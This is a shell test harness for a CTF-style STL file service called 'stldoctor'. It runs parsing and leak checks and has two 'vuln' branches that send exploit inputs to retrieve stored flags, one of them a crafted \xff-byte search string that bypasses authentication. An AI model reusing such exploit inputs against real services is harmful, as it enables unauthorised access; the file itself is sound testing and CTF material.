#!/bin/sh

set -e

if [ -z "$SRCDIR" -o -z "$DATADIR" ]; then
	echo "Missing either SRCDIR or DATADIR env vars"
	exit 1
fi

export RESULTDIR="$DATADIR/uploads"
export ECHO_INPUT=1

SCRIPTPATH="$(dirname $(readlink -f "$0"))"
TESTDATA="$SCRIPTPATH/data"

cd "$SRCDIR"

announce() {
	count=$(echo "$1" | wc -c)
	python3 -c "
import math
s = '$1'
c = 80
print()
print('#'*c)
print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
print('#'*c)
print()
	"
}

checkleaks() {
	valgrind --leak-check=full --show-leak-kinds=all ./build/stldoctor 2>&1 | tee /tmp/testlog
	if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
		echo "Valgrind exited with errors!"
		exit 1
	fi
}

connect() {
	if [ "$RUNTYPE" == "remote" ]; then
		nc localhost 9000
	elif [ "$RUNTYPE" == "debug" ]; then
		checkleaks
	else
		./build/stldoctor
	fi
}

cleanuploads() {
	[ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"
	mkdir -p "$RESULTDIR"
}

if [ "$1" == "stl" ]; then
	cleanuploads

	announce "Testing ASCII STL Parsing"
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/sample-ascii.stl" | wc -c
		cat "$TESTDATA/sample-ascii.stl"
		echo "ASCII-testname"
	) | checkleaks

	announce "Testing BIN STL Parsing"
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/sample-binary.stl" | wc -c
		cat "$TESTDATA/sample-binary.stl"
		echo "BIN-testname"
	) | checkleaks

elif [ "$1" == "vuln1" ]; then
	cleanuploads

	announce "Testing Flagstore 1"

	echo -e "\n--- Uploading target STL ---\n" 1>&2
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/flag1.stl" | wc -c
		cat "$TESTDATA/flag1.stl"
		echo "N0TaFL4G"
		echo "exit"
	) | connect

	echo -e "\n--- Uploading evil STL ---\n" 1>&2
	(
		echo "echo"
		echo "upload"
		cat "$TESTDATA/evil1.stl" | wc -c
		cat "$TESTDATA/evil1.stl"
		echo "EV1L"
		echo "exit"
	) | connect

	echo -e "\n--- Testing Exploit ---\n" 1>&2
	(
		echo "echo"

		# try index 0
		echo "search"
		echo "EV1L"
		echo "0"
		echo "n"

		echo "search last"
		echo "0"
		echo "n"

		# try index 1
		echo "search"
		echo -e "EV1L"
		echo "0"
		echo "n"

		echo "search last"
		echo "1"
		echo "n"
		echo "exit"
	) | connect

elif [ "$1" == "vuln2" ]; then
	cleanuploads

	announce "Testing Flagstore 2"

	echo -e "\n--- Uploading target STL ---\n" 1>&2
	(
		echo "echo"
		echo "auth test"
		echo "upload"
		cat "$TESTDATA/flag1.stl" | wc -c
		cat "$TESTDATA/flag1.stl"
		echo "N0TaFL4G"
		echo "exit"
	) | connect

	echo -e "\n--- Testing Exploit ---\n" 1>&2
	(
		echo "echo"
		echo -e "search \xff\xff\xff\xff\xff0000000000000000"
		echo "auth"
		echo "list"
		echo "exit"
	) | connect

elif [ "$1" == "authupload" ]; then
	cleanuploads

	(
		echo "echo"

		echo "auth test"
		echo "upload"
		cat "$TESTDATA/sample-ascii.stl" | wc -c
		cat "$TESTDATA/sample-ascii.stl"
		echo "testname"
	) | connect

	(
		echo "echo"

		echo "auth test"
		echo "list"
		echo "search testname"
	) | connect
else
	connect
fi